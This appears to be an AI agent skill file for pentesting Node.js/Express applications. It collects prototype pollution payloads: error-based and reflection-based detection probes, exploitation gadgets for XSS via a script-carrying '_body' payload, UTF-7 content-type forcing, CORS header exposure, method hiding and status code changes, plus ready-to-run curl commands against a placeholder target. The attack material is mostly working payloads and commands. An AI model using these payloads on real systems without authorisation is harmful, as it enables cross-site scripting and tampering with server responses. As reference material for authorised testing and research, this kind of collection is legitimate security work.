Express Prototype Pollution

Express Prototype Pollution Gadgets

A collection of prototype pollution payloads and techniques for testing Express.js applications.

Overview

Prototype pollution in Express applications can lead to various impacts including XSS, header manipulation, and response modification. This skill covers detection techniques, exploitation gadgets, and safe scanning methods.

Detection Techniques

Error-Based Detection

Use these payloads to detect if prototype pollution is successful:

// Throws exception if prototype pollution works
;({}).__proto__.__proto__ = {}

// No-op (doesn't throw) if prototype pollution works
{}.__proto__.__proto__ = "x"

How to use: Send these as part of your test payload. If the application throws an exception, prototype pollution is likely successful.

Reflected Value Detection

Create an attribute with an unusual name alongside __proto__:

{ "unusualName": "value", "__proto__": "test" }

Interpretation: If only the unusual attribute is returned in the response, the application may be vulnerable to prototype pollution.

Lodash-Specific Detection

When Lodash is employed, set a property both via prototype pollution and directly:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}

Interpretation: If only b is reflected (not a), this indicates prototype pollution in Lodash is occurring.

Exploitation Gadgets

XSS via Content-Type Manipulation

Prerequisites:

• Express app using res.send(obj)
• Body parser with application/json content type
• JSON response being reflected

Payload:

{ "__proto__": { "_body": true, "body": "<script>evil()</script>" } }

Impact: Express serves HTML content type and reflects the _body property, resulting in stored XSS.

UTF-7 Content Rendering

Payload:

{ "__proto__": { "content-type": "application/json; charset=utf-7" } }

Impact: Forces Express to render UTF-7 content, which can be used for XSS bypasses.

Header Manipulation

Expose Custom Headers

Prerequisites: CORS module must be installed

Payload:

{ "__proto__": { "exposedHeaders": ["foo"] } }

Impact: Server sends back Access-Control-Expose-Headers: foo

Hide Methods from OPTIONS Response

Original response: POST, GET, HEAD

Payload:

{"__proto__":{"head":true}}

New response: POST, GET

Impact: Can hide HTTP methods from OPTIONS responses, potentially bypassing security checks.

Status Code Manipulation

Payload:

{ "__proto__": { "status": 510 } }

Impact: Changes the returned HTTP status code to 510 (Not Extended).

Safe Scanning Techniques

JSON Spaces Injection

Payload:

{ "__proto__": { "json spaces": " " } }

Result: Attributes inside JSON will have an extra space:

{"foo":  "bar"}

Use case: Non-destructive way to verify prototype pollution without breaking functionality.

Allow Dots Configuration

Payload:

{ "__proto__": { "allowDots": true } }

Impact: Enables creation of objects from query string parameters like ?foo.bar=baz

Use case: Can be used in bug chains to exploit prototype pollution via query parameters.

Testing Workflow

1. Initial Detection: Start with safe scanning techniques (JSON spaces, reflected values)
2. Confirm Vulnerability: Use error-based detection to verify prototype pollution
3. Impact Assessment: Test exploitation gadgets based on application behavior
4. Chain Building: Combine with other vulnerabilities for full exploitation

Important Notes

• Primitive Assignment: Assigning primitives to prototypes produces no-op operations since prototypes must be objects
• Lodash Behavior: Lodash verifies property existence before merging, which affects detection
• CORS Requirement: Header exposure gadgets require the CORS module to be installed
• Content-Type: XSS gadgets require the application to use res.send(obj) with JSON body parser

References

• PortSwigger Research: Server-Side Prototype Pollution
• HackTricks: Express Prototype Pollution Gadgets

Usage Examples

Example 1: Testing for XSS

curl -X POST http://target.com/api \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"_body":true,"body":"<script>alert(1)</script>"}}'

Example 2: Safe Detection

curl -X POST http://target.com/api \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"json spaces":" "},"test":"value"}'

Example 3: Status Code Manipulation

curl -X POST http://target.com/api \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"status":510}}'

When to Use This Skill

• Pentesting Node.js/Express applications
• Analyzing JSON parsing vulnerabilities
• Investigating server-side prototype pollution
• Testing applications using lodash, underscore, or similar merge libraries
• Bug bounty hunting on web applications with JSON endpoints
• Security research on prototype pollution chains